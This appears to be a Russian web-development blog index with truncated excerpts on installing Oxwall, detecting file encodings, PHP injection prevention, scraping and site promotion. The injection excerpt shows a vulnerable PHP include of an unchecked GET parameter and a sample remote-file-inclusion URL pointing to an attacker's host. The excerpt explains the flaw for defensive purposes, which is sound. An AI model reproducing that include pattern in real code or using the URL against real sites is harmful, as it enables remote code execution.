Данфа

Как установить движок Oxwall

Краткая инструкция, как установить сайт на движке Oxwall.
И так. Переходим на официальный сайт и скачиваем архив с файлами движка, качать тут: https://developers.oxwall.com/download.
Загружаем файлы из скаченного архива на сервер. Затем переходим по адресу: site/install/site или на главную, вас перенаправит на страницу установки движка, автоматически. Тут заполняем все поля и жмем кнопку Continue:

[att:"2639]

Если все поля заполнены правильно, на следующей странице необходимо указать данные базы данных и прификс таблиц (по умолчанию ow_). На следующей странице вам будет предложено установить крон на выполнение сценария ow_cron/run.php, данный пункт можно пропустить и переходить дальше, но сделать это все ровно придется.
Переходим на новую страницу, тут предложено войти на сайт или в админ панель.
Готово....

Как определить кодировку файла

Есть много способов, которыми можно закодировать сообщение. При этом буквы преобразуются в различные символы. Но иногда, при заходе на веб-сайт, вы вместо привычных букв видите непонятные символы. Сегодня мы поговорим о способах определения кодировки файла.

Сделать это можно с помощью онлайн-декодера. Главным образом он служит для распознавания электронных писем. После того, как вы открыли декодер, скопируйте нужный вам текст в буфер обмена. Далее вставляет текст в поле декодера и нажимаем «расшифровать», после чего в поле должен появиться расшифрованный текст, а ниже исходная кодировка и кодировка, в которую был перекодирован текст.

Декодировать текст можно с помощью специальной программы, например, Tcode. Можете воспользоваться функцией «открыть файл» или вставить текст из кодированного файла. Нажимаем «перекодировать» и текст должен будет преобразоваться в нужную кодировку. В строке состояния будет показана исходная кодировка. Там же можно посмотреть процент распознания символов.

Пос...

Как предотвратить PHP, SQL и XSS инъекции (Безопасность)

Я конечно не супер-профессионал по безопасности, но некоторые познания в области безопасности php скриптов есть. Итак, часто встречающиеся дыры в php скриптах:
- PHP инъекция.
- SQL инъекция.
- XSS.
Вот про борьбу с этими уязвимостями и пойдёт речь. Статей по безопасности конечно уйма, но всё же, внесу и свою лепту.

Что же это такое PHP-инъекция?
PHP-инъекция - способ взлома сайта путём выполнения на сайте стороннего PHP кода. Например, вы хотите подключить необходимый файл, в зависимости от параметра, пришедшего из GET:
# Получаем имя файла
$action = isset($_GET['action']) ? $_GET['action'] : null; 

# Тут какие-то действия
# ...

# Подключаем файл
include($action);

Если ввести такой URL: http://ваш_сайт/ваш_файл.php?action=http://сайт_взломщика/файл то, если в файле php.ini на вашем сервере включена директива allow_url_include, злоумышленник может внести код, который хочет выполнить на вашем сайте, в тот файл, на который он указал ссылку и код успешно выполнится на вашем...

Быстрое копирование информации с Web-страницы (Парсинг на PHP)

PHP
Заметил, что на форумах часто задают вопросы про парсинг сайтов. Решил написать небольшую статью, в которой попытаюсь объяснить азы парсинга и привести некоторые примеры работы с ним.
Итак, начнём с самого начала.

Что такое парсинг? Это слово является переведенным, а вернее просто написанным на кириллице (как это часто встречается в интернете) словом из английского языка "parsing". Оно переводится с английского как "разбор". Т.е. парсинг - это анализ и разбор какой-либо web-страницы с целью получения информации, содержащейся на ней.

Можно подумать: а зачем вообще нужно получать информацию с web-страницы таким способом? Приведу пример: допустим, Вам нужна база данных MySQL с марками и моделями автомобилей (недавно как раз мне пришлось писать парсер именно для этого). Как Вам её получить? Есть два варианта. Первый - это купить такую базу у человека, у которого она есть. Второй - составить её самому.
Если Вас устраивает первый вариант - Вы, не тратя время, покупаете её и всё. Вот так...

Как привлечь посетителей на сайт?

Сейчас это самый актуальный вопрос для всех владельцев сайтов. Ведь все они столкнулись с одной проблемой — создать красивый и функциональный сервер еще не достаточно, чтобы его все читали. Ведь главная задача состоит в том, чтобы его читали, на него заходили, пользовались им, как привычным.
Привлечение посетителей — главная цель, достичь которую можно следующими способами.

Поисковики или поисковые системы. Продвигать материал с помощью поисковых систем — самый дешевый и популярные метод, однако, здесь может возникнуть множество проблем и вопросов. Здесь нужно обладать навыками в продвижении по SEO. Главным плюсом такого привлечения является то, что посетители думают, что они сами нашли ваш сайт, что вызывает доверие, а значит, постоянных пользователей.

Каталоги. Первым шагом к раскрутке сайта является прописка его в Интернет каталоге. Для этого стоит определить направление и тематику вашего сайта. Здесь же можно подать объявление о сайт, однако здесь стоит разбираться какие доски...